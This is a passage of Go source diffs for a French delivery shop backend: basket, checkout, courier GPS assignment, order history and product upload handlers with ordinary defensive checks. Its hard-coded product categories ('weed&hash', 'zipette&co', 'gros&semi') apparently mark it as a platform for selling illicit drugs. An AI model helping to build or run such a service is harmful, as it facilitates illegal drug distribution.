log.Printf("❌ [MAP_LINKS] Erreur position: %v", err)
c.JSON(http.StatusNotFound, gin.H{
"success": false,
"error": "Position GPS non disponible pour ce livreur",
"details": err.Error(),
"message": "Le livreur n'a pas encore partagé sa position ou est hors ligne",
})
return
}
// Validation des coordonnées
if lat == 0 && lon == 0 {
log.Printf("⚠️ [MAP_LINKS] Coordonnées invalides (0,0) pour %s", username)
c.JSON(http.StatusNotFound, gin.H{
"success": false,
"error": "Coordonnées GPS invalides (0,0)",
"message": "Le livreur doit mettre à jour sa position",
})
return
}
// Générer les liens de cartes
mapLinks := database.GenerateMapLinks(lat, lon, username)
log.Printf("✅ [MAP_LINKS] Liens générés pour %s: (%.6f, %.6f)", username, lat, lon)
c.JSON(http.StatusOK, gin.H{
"success": true,
"deliveryman": gin.H{
"username": username,
},
"location": gin.H{
"latitude": lat,
"longitude": lon,
"valid": true,
},
"map_links": mapLinks,
})
}
// GetCommandNavigationLinks génère les liens de navigation pour une commande
// GET /api/v2/admin/protected/commands/:id/navigation-links
func GetCommandNavigationLinks(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
userRole := c.GetString("role")
if userRole != "admin" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
commandID, err := strconv.Atoi(c.Param("id"))
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "ID de commande invalide"})
return
}
// Récupérer la commande
command, err := database.GetCommandByID(commandID)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Commande non trouvée"})
return
}
// Vérifier qu'un livreur est assigné
livreurAssign, ok := command["livreur_assign"].(string)
if !ok || livreurAssign == "" {
c.JSON(http.StatusNotFound, gin.H{
"error": "Aucun livreur assigné à cette commande",
})
return
}
// Générer les liens de navigation
links, err := database.GenerateMapLinksForCommand(commandID, livreurAssign)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur génération des liens",
"details": err.Error(),
})
return
}
c.JSON(http.StatusOK, gin.H{
"success": true,
"command_id": commandID,
"deliveryman": livreurAssign,
"navigation_links": links,
})
}
+229
View File
@@ -0,0 +1,229 @@
// ============================================
// handlers/history_handlers.go
// ============================================
// Gestion de l'historique des commandes terminées
package handlers
import (
"fmt"
"gestion/db"
"log"
"net/http"
"github.com/gin-gonic/gin"
)
// GetMyCompletedOrders récupère l'historique des commandes terminées du client
// GET /api/v1/my-commands/history
// ✅ Authentification requise (ClientMiddleware)
// ✅ Retourne uniquement les commandes avec status = "approved"
func GetMyCompletedOrders(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Récupérer depuis JWT validé
username, exists := c.Get("username")
if !exists {
log.Printf("❌ [HISTORY] Utilisateur non authentifié")
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Authentification requise",
})
return
}
usernameStr := username.(string)
log.Printf("📚 [HISTORY] Récupération historique pour: %s", usernameStr)
// ✅ Récupérer les commandes terminées (approved)
commands, err := database.GetCompletedCommandsByUsername(usernameStr)
if err != nil {
log.Printf("❌ [HISTORY] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de la récupération de l'historique",
"details": err.Error(),
})
return
}
log.Printf("✅ [HISTORY] %d commandes terminées trouvées", len(commands))
// ✅ Récupérer les infos client pour statistiques
client, err := database.GetClientByUsername(usernameStr)
response := gin.H{
"success": true,
"commands": commands,
"count": len(commands),
}
if err == nil && client != nil {
response["client_stats"] = gin.H{
"username": client.Username,
"total_commands": client.Command,
"points": client.Point,
"penalties": client.Amende,
}
}
c.JSON(http.StatusOK, response)
}
// GetMyCompletedOrdersWithItems récupère l'historique avec les détails des items
// GET /api/v1/my-commands/history/detailed
// ✅ Authentification requise (ClientMiddleware)
// ✅ Retourne les commandes approved avec tous les items
func GetMyCompletedOrdersWithItems(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Récupérer depuis JWT validé
username, exists := c.Get("username")
if !exists {
log.Printf("❌ [HISTORY_DETAILED] Utilisateur non authentifié")
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Authentification requise",
})
return
}
usernameStr := username.(string)
log.Printf("📚 [HISTORY_DETAILED] Récupération historique détaillé pour: %s", usernameStr)
// ✅ Récupérer les commandes terminées
commands, err := database.GetCompletedCommandsByUsername(usernameStr)
if err != nil {
log.Printf("❌ [HISTORY_DETAILED] Erreur: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de la récupération de l'historique",
"details": err.Error(),
})
return
}
// ✅ Enrichir chaque commande avec ses items
var enrichedCommands []map[string]interface{}
for _, command := range commands {
commandID, ok := command["id"].(int)
if !ok {
continue
}
// Récupérer les items de cette commande
items, err := database.GetCommandItems(commandID)
if err != nil {
log.Printf("⚠️ [HISTORY_DETAILED] Erreur items pour cmd %d: %v", commandID, err)
items = []map[string]interface{}{}
}
// Ajouter les items à la commande
enrichedCommand := make(map[string]interface{})
for k, v := range command {
enrichedCommand[k] = v
}
enrichedCommand["items"] = items
enrichedCommand["items_count"] = len(items)
enrichedCommands = append(enrichedCommands, enrichedCommand)
}
log.Printf("✅ [HISTORY_DETAILED] %d commandes enrichies", len(enrichedCommands))
// ✅ Récupérer les infos client
client, err := database.GetClientByUsername(usernameStr)
response := gin.H{
"success": true,
"commands": enrichedCommands,
"count": len(enrichedCommands),
}
if err == nil && client != nil {
response["client_stats"] = gin.H{
"username": client.Username,
"nom": client.Nom,
"prenom": client.Prenom,
"telephone": client.Telephone,
"total_commands": client.Command,
"points": client.Point,
"penalties": client.Amende,
}
}
c.JSON(http.StatusOK, response)
}
// GetOrderHistory récupère l'historique d'une commande spécifique avec logs
// GET /api/v1/commands/:id/history
// ✅ Authentification requise
// ✅ Vérifie que la commande appartient au client
func GetOrderHistory(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ: Récupérer depuis JWT validé
username, exists := c.Get("username")
if !exists {
log.Printf("❌ [ORDER_HISTORY] Utilisateur non authentifié")
c.JSON(http.StatusUnauthorized, gin.H{
"error": "Authentification requise",
})
return
}
usernameStr := username.(string)
// Récupérer l'ID de la commande
var commandID int
if _, err := fmt.Sscanf(c.Param("id"), "%d", &commandID); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"error": "ID de commande invalide",
})
return
}
log.Printf("📜 [ORDER_HISTORY] Récupération historique cmd %d pour %s", commandID, usernameStr)
// ✅ Vérifier que la commande existe
command, err := database.GetCommandByID(commandID)
if err != nil {
log.Printf("❌ [ORDER_HISTORY] Commande non trouvée")
c.JSON(http.StatusNotFound, gin.H{
"error": "Commande non trouvée",
})
return
}
// ✅ Vérifier que la commande appartient au client
cmdUsername, ok := command["username"].(string)
if !ok || cmdUsername != usernameStr {
log.Printf("❌ [ORDER_HISTORY] Accès refusé - cmd appartient à %s, pas à %s", cmdUsername, usernameStr)
c.JSON(http.StatusForbidden, gin.H{
"error": "Cette commande ne vous appartient pas",
})
return
}
// ✅ Récupérer les logs de la commande
logs, err := database.GetCommandLogs(commandID)
if err != nil {
log.Printf("⚠️ [ORDER_HISTORY] Erreur logs: %v", err)
logs = []map[string]interface{}{}
}
// ✅ Récupérer les items
items, err := database.GetCommandItems(commandID)
if err != nil {
log.Printf("⚠️ [ORDER_HISTORY] Erreur items: %v", err)
items = []map[string]interface{}{}
}
log.Printf("✅ [ORDER_HISTORY] Cmd %d: %d logs, %d items", commandID, len(logs), len(items))
c.JSON(http.StatusOK, gin.H{
"success": true,
"command": command,
"logs": logs,
"logs_count": len(logs),
"items": items,
"items_count": len(items),
})
}
+456
View File
@@ -0,0 +1,456 @@
// ============================================
// handlers/basket_handlers_CORRIGES.go
// ============================================
package handlers
import (
"gestion/db"
"gestion/services"
"log"
"net/http"
"github.com/gin-gonic/gin"
)
type BasketsRequest struct {
Username string `json:"username"`
NameProduct string `json:"name_product"`
Category string `json:"category"`
Quantity float64 `json:"quantity"`
}
// ============================================
// ✅ SÉCURISÉ: AddProductsBasket
// ============================================
// POST /api/v1/panier/add
func AddProductsBasket(c *gin.Context) {
db := c.MustGet("database").(*db.Database)
// Liaison JSON
var req BasketsRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Requête invalide", "details": err.Error()})
return
}
// Récupérer le username depuis JWT ou contexte
username, ok := c.Get("username")
if !ok {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
req.Username = username.(string)
// Validation des champs
if req.NameProduct == "" || req.Category == "" || req.Quantity <= 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Champs invalides"})
return
}
// Vérifier le stock
stock, err := db.GetProductStock(req.NameProduct, req.Category)
if err != nil {
c.JSON(http.StatusNotFound, gin.H{"error": "Produit non trouvé"})
return
}
if stock < req.Quantity {
c.JSON(http.StatusBadRequest, gin.H{
"error": "Stock insuffisant",
"available": stock,
})
return
}
// Ajouter au panier (ou mettre à jour si déjà présent)
panier, err := db.AddProductInBasket(req.Username, req.NameProduct, req.Quantity, req.Category)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible d'ajouter le produit au panier"})
return
}
// Décrémenter le stock
if err := db.DecrementProductStock(req.NameProduct, req.Category, req.Quantity); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de réserver le stock"})
return
}
c.JSON(http.StatusCreated, gin.H{
"success": true,
"message": "Produit ajouté au panier avec succès",
"panier": panier,
})
}
// ============================================
// ============================================
// GET /api/v1/panier/:username
// Récupère le panier du client authentifié
func GetAllBaskets(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
username := c.Param("username")
log.Printf("📦 [GET_PANIER] Requête pour: %s", username)
if username == "" {
log.Printf("❌ [GET_PANIER] Username manquant")
c.JSON(http.StatusBadRequest, gin.H{"error": "Le paramètre 'username' est requis"})
return
}
// ✅ SÉCURITÉ 1: Récupérer username depuis le contexte (du JWT validé)
authUsername, hasAuth := c.Get("username")
if !hasAuth {
log.Printf("❌ [GET_PANIER] Username manquant dans JWT")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
authUsernameStr := authUsername.(string)
// ✅ SÉCURITÉ 2: Vérifier que c'est bien l'utilisateur de la session
if username != authUsernameStr {
log.Printf("❌ [GET_PANIER] ⚠️ TENTATIVE D'ACCÈS AU PANIER NON AUTORISÉE!")
log.Printf(" Username du JWT: %s", authUsernameStr)
log.Printf(" Username demandé: %s", username)
c.JSON(http.StatusForbidden, gin.H{
"error": "Vous ne pouvez accéder qu'à votre panier",
})
return
}
// ✅ SÉCURITÉ 3: Forcer l'utilisation du username du JWT
username = authUsernameStr
// ✅ SÉCURITÉ 4: Vérifier que c'est un CLIENT
_, err := database.GetClientByUsername(username)
if err != nil {
log.Printf("❌ [GET_PANIER] Client inexistant: %s", username)
c.JSON(http.StatusNotFound, gin.H{"error": "Utilisateur inexistant"})
return
}
baskets, err := database.GetAllProductsInBasket(username)
if err != nil {
log.Printf("❌ [GET_PANIER] Erreur récupération: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de la récupération du panier",
"details": err.Error(),
})
return
}
var totalAmount float64
for _, item := range baskets {
totalAmount += item.Price * item.Quantity
}
log.Printf("✅ [GET_PANIER] Panier %s: %d articles, total=%.2f€", username, len(baskets), totalAmount)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Panier récupéré avec succès",
"panier": baskets,
"count": len(baskets),
"total_amount": totalAmount,
})
}
// ============================================
// ✅ SÉCURISÉ: DeleteProductFromBasket
// ============================================
// DELETE /api/v1/panier/remove
// Supprime un produit du panier
func DeleteProductFromBasket(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
var req struct {
ID int `json:"id" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil {
log.Printf("❌ [DEL_PANIER] Erreur JSON: %v", err)
c.JSON(http.StatusBadRequest, gin.H{
"error": "Données requises manquantes",
"details": err.Error(),
})
return
}
// ✅ SÉCURITÉ 1: Récupérer username depuis le contexte (du JWT validé)
authUsername, hasAuth := c.Get("username")
if !hasAuth {
log.Printf("❌ [DEL_PANIER] Username manquant dans JWT")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
authUsernameStr := authUsername.(string)
log.Printf("🗑️ [DEL_PANIER] Suppression article: id=%d, client=%s", req.ID, authUsernameStr)
// ✅ SÉCURITÉ 2: Vérifier que l'article appartient à ce client
var itemUsername string
err := database.QueryRow(
"SELECT username FROM baskets WHERE id = $1",
req.ID,
).Scan(&itemUsername)
if err != nil {
log.Printf("❌ [DEL_PANIER] Article non trouvé: id=%d", req.ID)
c.JSON(http.StatusNotFound, gin.H{"error": "Article non trouvé"})
return
}
if itemUsername != authUsernameStr {
log.Printf("❌ [DEL_PANIER] ⚠️ TENTATIVE DE SUPPRESSION NON AUTORISÉE!")
log.Printf(" Client JWT: %s", authUsernameStr)
log.Printf(" Propriétaire article: %s", itemUsername)
c.JSON(http.StatusForbidden, gin.H{
"error": "Vous ne pouvez supprimer que vos articles",
})
return
}
// Supprimer l'article
err = database.DeleteProductFromBasket(req.ID)
if err != nil {
log.Printf("❌ [DEL_PANIER] Erreur suppression: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors de la suppression",
"details": err.Error(),
})
return
}
log.Printf("✅ [DEL_PANIER] Article %d supprimé", req.ID)
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Produit supprimé du panier avec succès",
"item_id": req.ID,
"stock_released": true,
})
}
// ============================================
// ✅ SÉCURISÉ: ClearBasket
// ============================================
// DELETE /api/v1/panier/clear
// Vide le panier du client
func ClearBasket(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ SÉCURITÉ 1: Récupérer username depuis le contexte (du JWT validé)
authUsername, hasAuth := c.Get("username")
if !hasAuth {
log.Printf("❌ [CLEAR_PANIER] Username manquant dans JWT")
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authentification requise"})
return
}
authUsernameStr := authUsername.(string)
log.Printf("🧹 [CLEAR_PANIER] Vider panier de: %s", authUsernameStr)
baskets, err := database.GetAllProductsInBasket(authUsernameStr)
if err != nil {
log.Printf("❌ [CLEAR_PANIER] Erreur récupération: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors du vidage du panier",
})
return
}
err = database.ClearBasket(authUsernameStr)
if err != nil {
log.Printf("❌ [CLEAR_PANIER] Erreur vidage: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{
"error": "Erreur lors du vidage du panier",
"details": err.Error(),
})
return
}
log.Printf("✅ [CLEAR_PANIER] Panier %s vidé: %d articles supprimés", authUsernameStr, len(baskets))
c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Panier vidé avec succès",
"stock_released": len(baskets),
})
}
// ============================================
// ✅ SÉCURISÉ: ValidateBasket - CHECKOUT FINAL
// ============================================
// POST /api/v1/checkout
// Crée la commande depuis le panier et le vide
// ⚠️ SEUL ENDPOINT DE CRÉATION DE COMMANDE (CreateCommandFromBasket supprimé)
func ValidateBasket(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
geoService := c.MustGet("geoService").(*services.GeoService)
username, exists := c.Get("username")
if !exists {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Utilisateur non authentifié"})
return
}
usernameStr := username.(string)
var req struct {
DeliveryAddress string `json:"delivery_address" binding:"required"`
}
if err := c.ShouldBindJSON(&req); err != nil || req.DeliveryAddress == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Adresse de livraison requise"})
return
}
log.Printf("🛒 [CHECKOUT] Début checkout pour: %s", usernameStr)
// ============================================
// 1️⃣ Vérifier que le panier n'est pas vide
// ============================================
items, err := database.GetBasketItems(usernameStr)
if err != nil {
log.Printf("❌ [CHECKOUT] Erreur récupération panier: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de récupérer le panier", "details": err.Error()})
return
}
if len(items) == 0 {
log.Printf("❌ [CHECKOUT] Panier vide")
c.JSON(http.StatusBadRequest, gin.H{"error": "Panier vide"})
return
}
log.Printf("🛒 [CHECKOUT] Panier: %d articles", len(items))
// ============================================
// 2️⃣ Créer la commande (qui décrémente automatiquement le stock)
// ============================================
command, err := database.CreateCommandWithAddress(usernameStr, req.DeliveryAddress)
if err != nil {
log.Printf("❌ [CHECKOUT] Erreur création commande: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création commande", "details": err.Error()})
return
}
commandID := command.ID
log.Printf("✅ [CHECKOUT] Commande %d créée", commandID)
// ============================================
// 3️⃣ Vider le panier
// ============================================
err = database.ClearBasket(usernameStr)
if err != nil {
log.Printf("❌ [CHECKOUT] Erreur vidage panier: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Impossible de vider le panier", "details": err.Error()})
return
}
log.Printf("🧹 [CHECKOUT] Panier vidé")
// ============================================
// 4️⃣ Auto-assignation livreur (optionnel)
// ============================================
var assigned bool
var assignInfo gin.H
location, err := geoService.GeocodeAddress(req.DeliveryAddress)
if err == nil {
log.Printf("📍 [CHECKOUT] Adresse géocodée: %.6f,%.6f", location.Latitude, location.Longitude)
activeLivreurs, err := database.GetAllActiveDeliveryPersons()
if err == nil && len(activeLivreurs) > 0 {
log.Printf("🚚 [CHECKOUT] %d livreurs actifs disponibles", len(activeLivreurs))
usernames := make([]string, len(activeLivreurs))
for i, livreur := range activeLivreurs {
usernames[i] = livreur.Username
}
nearest, err := geoService.FindNearestDeliveryPersonFast(services.Coordinates{
Latitude: location.Latitude,
Longitude: location.Longitude,
}, usernames)
if err == nil {
log.Printf("👤 [CHECKOUT] Livreur le plus proche: %s (%.2f km)", nearest.Username, nearest.Distance)
// ✅ CORRECTION: Utiliser CalculateETAWithTomTom au lieu de GetETAWithTraffic
travelTime, distance, err := services.CalculateETAWithTomTom(
nearest.Location,
services.Coordinates{
Latitude: location.Latitude,
Longitude: location.Longitude,
},
)
if err != nil {
// Fallback sur ETA simple
travelTime = nearest.EstimatedTime
distance = nearest.Distance
log.Printf("⚠️ [CHECKOUT] Fallback ETA: %d min", travelTime)
}
log.Printf("⏱️ [CHECKOUT] ETA calculé: %d min, distance: %.2f km", travelTime, distance)
// Assigner la commande au livreur
err = database.AssignCommandToDeliverymanQueueWithCoords(
commandID,
nearest.Username,
travelTime,
location.Latitude,
location.Longitude,
req.DeliveryAddress,
)
if err != nil {
log.Printf("⚠️ [CHECKOUT] Erreur assignation: %v", err)
} else {
// Mettre à jour le statut du livreur
err = database.SetDeliveryPersonStatus(nearest.Username, "busy", commandID)
if err != nil {
log.Printf("⚠️ [CHECKOUT] Erreur mise à jour statut livreur: %v", err)
}
assigned = true
assignInfo = gin.H{
"username": nearest.Username,
"distance_km": distance,
"travel_time": travelTime,
}
log.Printf("✅ [CHECKOUT] Commande assignée à %s", nearest.Username)
}
} else {
log.Printf("⚠️ [CHECKOUT] Aucun livreur trouvé: %v", err)
}
} else {
log.Printf("⚠️ [CHECKOUT] Aucun livreur actif disponible")
}
} else {
log.Printf("⚠️ [CHECKOUT] Erreur géocodage: %v", err)
}
// ============================================
// 5️⃣ Réponse
// ============================================
resp := gin.H{
"success": true,
"command_id": commandID,
"delivery_address": req.DeliveryAddress,
"status": "pending",
}
if assigned {
resp["message"] = "Commande créée et livreur assigné automatiquement"
resp["auto_assigned"] = true
resp["assigned_to"] = assignInfo
resp["status"] = "assigned"
log.Printf("✅ [CHECKOUT] Réponse 200 - Commande %d assignée", commandID)
} else {
resp["message"] = "Commande créée - En attente d'assignation"
resp["auto_assigned"] = false
log.Printf("✅ [CHECKOUT] Réponse 200 - Commande %d en attente", commandID)
}
c.JSON(http.StatusOK, resp)
}
+959
View File
@@ -0,0 +1,959 @@
package handlers
import (
"fmt"
"gestion/db"
"gestion/models"
"gestion/utils"
"log"
"mime/multipart"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/gin-gonic/gin"
)
// ============================================
// CONFIGURATION & LIMITES
// ============================================
const (
MaxFileSize = 10 * 1024 * 1024 // 10MB par fichier
MaxTotalUploadSize = 50 * 1024 * 1024 // 50MB total
MaxFilesPerProduct = 10 // Max 10 fichiers
MaxNameLength = 200
MaxDescLength = 2000
MaxProductsPerUser = 100 // Limite pour éviter spam
)
// ✅ MIME types autorisés (vérification réelle du contenu)
var allowedMimeTypes = map[string]bool{
"image/jpeg": true,
"image/png": true,
"image/gif": true,
"image/webp": true,
"video/mp4": true,
"video/webm": true,
"video/quicktime": true,
}
// ============================================
// MIDDLEWARE D'AUTHORIZATION
// ============================================
func RequireAdminOrCabine() gin.HandlerFunc {
return func(c *gin.Context) {
role := c.GetString("role")
if role != "admin" && role != "cabine" {
c.JSON(http.StatusForbidden, gin.H{
"error": "Accès refusé - Admin ou Cabine requis",
})
c.Abort()
return
}
c.Next()
}
}
// ============================================
// HELPERS DE VALIDATION
// ============================================
func validateProductName(name string) error {
if len(name) == 0 {
return fmt.Errorf("nom requis")
}
if len(name) > MaxNameLength {
return fmt.Errorf("nom trop long (max %d caractères)", MaxNameLength)
}
// Sanitize
if strings.Contains(name, "..") || strings.Contains(name, "/") {
return fmt.Errorf("nom invalide")
}
return nil
}
func validateProductDescription(desc string) error {
if len(desc) == 0 {
return fmt.Errorf("description requise")
}
if len(desc) > MaxDescLength {
return fmt.Errorf("description trop longue (max %d caractères)", MaxDescLength)
}
return nil
}
func validateStock(stock float64) error {
if stock < 0 {
return fmt.Errorf("stock ne peut pas être négatif")
}
if stock > 1000000 {
return fmt.Errorf("stock trop élevé (max 1000000)")
}
return nil
}
func validatePrice(quantity int, price float64) error {
if quantity <= 0 {
return fmt.Errorf("quantité doit être > 0")
}
if quantity > 10000 {
return fmt.Errorf("quantité trop élevée (max 10000)")
}
if price <= 0 {
return fmt.Errorf("prix doit être > 0")
}
if price > 100000 {
return fmt.Errorf("prix trop élevé (max 100000)")
}
return nil
}
func validateCategory(category string) error {
// Nettoyage
category = strings.ToLower(strings.TrimSpace(category))
category = strings.Map(func(r rune) rune {
if r < 32 || r == 127 {
return -1
}
return r
}, category)
validCategories := []string{"weed&hash", "zipette&co", "gros&semi"}
for _, v := range validCategories {
if category == v {
return nil
}
}
return fmt.Errorf("catégorie invalide")
}
// ✅ VÉRIFICATION DU TYPE MIME RÉEL (pas juste l'extension)
func validateFileMimeType(fileHeader *multipart.FileHeader) (string, error) {
file, err := fileHeader.Open()
if err != nil {
return "", err
}
defer file.Close()
// Lire les premiers 512 bytes pour détecter le type MIME
buffer := make([]byte, 512)
_, err = file.Read(buffer)
if err != nil {
return "", err
}
mimeType := http.DetectContentType(buffer)
if !allowedMimeTypes[mimeType] {
return "", fmt.Errorf("type de fichier non autorisé: %s", mimeType)
}
return mimeType, nil
}
// ✅ PROTECTION CONTRE PATH TRAVERSAL
func sanitizeFilePath(path string) (string, error) {
// Nettoyer le chemin
cleaned := filepath.Clean(path)
// Vérifier qu'il ne contient pas de ".."
if strings.Contains(cleaned, "..") {
return "", fmt.Errorf("path traversal détecté")
}
// Vérifier qu'il commence par "uploads/"
if !strings.HasPrefix(cleaned, "uploads/") && !strings.HasPrefix(cleaned, "uploads\\") {
return "", fmt.Errorf("chemin invalide")
}
return cleaned, nil
}
// ============================================
// CREATE PRODUCT - VERSION SÉCURISÉE
// ============================================
func CreateProduct(c *gin.Context) {
database := c.MustGet("database").(*db.Database)
// ✅ VÉRIFIER LE RÔLE (déjà fait par middleware, double-check)
role := c.GetString("role")
if role != "admin" && role != "cabine" {
c.JSON(http.StatusForbidden, gin.H{"error": "Accès refusé"})
return
}
username, _ := safeGetUsername(c)
// ✅ PARSER AVEC LIMITE DE TAILLE
if err := c.Request.ParseMultipartForm(MaxTotalUploadSize); err != nil {
log.Printf("❌ [CreateProduct] Formulaire trop grand: %v", err)
c.JSON(http.StatusBadRequest, gin.H{"error": "Fichiers trop volumineux"})
return
}
// ✅ RÉCUPÉRER ET VALIDER LES DONNÉES
name := strings.TrimSpace(c.PostForm("name"))
category := strings.TrimSpace(c.PostForm("category"))
description := strings.TrimSpace(c.PostForm("description"))
stockStr := c.PostForm("stock")
// ✅ VALIDATION STRICTE
if err := validateProductName(name); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
if err := validateProductDescription(description); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
// ✅ NETTOYER ET VALIDER LA CATÉGORIE
category = strings.ToLower(strings.TrimSpace(category))
category = strings.Map(func(r rune) rune {
if r < 32 || r == 127 {
return -1
}
return r
}, category)
if err := validateCategory(category); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
// ✅ VALIDER LE STOCK
stock, err := strconv.ParseFloat(stockStr, 64)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Stock invalide"})
return
}
if err := validateStock(stock); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
// ✅ RÉCUPÉRER ET VALIDER LES PRIX
prices := []models.ProductPrice{}
priceIndex := 0
for priceIndex < 100 { // Limite anti-spam
quantityKey := fmt.Sprintf("prices[%d][quantity]", priceIndex)
priceKey := fmt.Sprintf("prices[%d][price]", priceIndex)
quantityStr := c.PostForm(quantityKey)
priceStr := c.PostForm(priceKey)
if quantityStr == "" || priceStr == "" {
break
}
quantity, err := strconv.Atoi(quantityStr)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Quantité invalide"})
return
}
price, err := strconv.ParseFloat(priceStr, 64)
if err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "Prix invalide"})
return
}
if err := validatePrice(quantity, price); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
prices = append(prices, models.ProductPrice{
Quantity: quantity,
Price: price,
})
priceIndex++
}
if len(prices) == 0 {
c.JSON(http.StatusBadRequest, gin.H{"error": "Au moins un prix requis"})
return
}
log.Printf("✅ [CreateProduct] %s crée produit: %s", username, name)
// ✅ CRÉER LE PRODUIT
product := models.Product{
Name: name,
Category: category,
Description: description,
Stock: stock,
Prices: prices,
}
err = database.CreateProduct(&product)
if err != nil {
log.Printf("❌ [CreateProduct] Erreur DB: %v", err)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur création produit"})
return
}
log.Printf("✅ [CreateProduct] Produit créé: ID=%d", product.ID)
// ✅ TRAITER LES FICHIERS MÉDIAS AVEC SÉCURITÉ
if c.Request.MultipartForm == nil || c.Request.MultipartForm.File == nil {
c.JSON(http.StatusCreated, gin.H{
"success": true,
"product": product,
})
return
}
files, exists := c.Request.MultipartForm.File["media"]
if !exists || len(files) == 0 {
c.JSON(http.StatusCreated, gin.H{
"success": true,
"product": product,
})
return
}
// ✅ LIMITER LE NOMBRE DE FICHIERS
if len(files) > MaxFilesPerProduct {
database.DeleteProduct(product.ID)
c.JSON(http.StatusBadRequest, gin.H{
"error": fmt.Sprintf("Maximum %d fichiers autorisés", MaxFilesPerProduct),
})
return
}
log.Printf("📁 [CreateProduct] %d fichiers à traiter", len(files))
cleanProductName := cleanFileName(product.Name)
uploadedMedia := []models.Media{}
savedFiles := []string{}
var totalSize int64 = 0
for i, fileHeader := range files {
// ✅ VÉRIFIER LA TAILLE INDIVIDUELLE
if fileHeader.Size > MaxFileSize {
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusBadRequest, gin.H{
"error": fmt.Sprintf("Fichier %s trop volumineux (max %dMB)", fileHeader.Filename, MaxFileSize/(1024*1024)),
})
return
}
totalSize += fileHeader.Size
// ✅ VÉRIFIER LA TAILLE TOTALE
if totalSize > MaxTotalUploadSize {
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusBadRequest, gin.H{
"error": fmt.Sprintf("Taille totale dépassée (max %dMB)", MaxTotalUploadSize/(1024*1024)),
})
return
}
log.Printf("📄 [%d/%d] Traitement: %s", i+1, len(files), fileHeader.Filename)
// ✅ VÉRIFIER LE TYPE MIME RÉEL (pas juste l'extension)
mimeType, err := validateFileMimeType(fileHeader)
if err != nil {
log.Printf("❌ [CreateProduct] Type MIME invalide: %v", err)
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusBadRequest, gin.H{"error": "Type de fichier non autorisé"})
return
}
// ✅ DÉTERMINER LE TYPE DE MÉDIA
var mediaType string
if strings.HasPrefix(mimeType, "image/") {
mediaType = "image"
} else if strings.HasPrefix(mimeType, "video/") {
mediaType = "video"
} else {
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusBadRequest, gin.H{"error": "Type de média non supporté"})
return
}
// ✅ GÉNÉRER UN NOM UNIQUE ET SÉCURISÉ
uniqueFileName := utils.GenerateUniqueFileName(cleanProductName, fileHeader.Filename)
// ✅ CRÉER LE DOSSIER DE MANIÈRE SÉCURISÉE
destFolder := filepath.Join("uploads", mediaType+"s")
if err := os.MkdirAll(destFolder, 0755); err != nil {
log.Printf("❌ [CreateProduct] Erreur création dossier: %v", err)
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusInternalServerError, gin.H{"error": "Erreur système"})
return
}
filePath := filepath.Join(destFolder, uniqueFileName)
// ✅ VALIDER LE CHEMIN (protection path traversal)
safeFilePath, err := sanitizeFilePath(filePath)
if err != nil {
log.Printf("❌ [CreateProduct] Path traversal détecté: %v", err)
rollbackFiles(savedFiles)
database.DeleteProduct(product.ID)
c.JSON(http.StatusBadRequest, gin.H{"error": "Chemin invalide"})
return
}
// ✅ SAUVEGARDER LE FICHIER
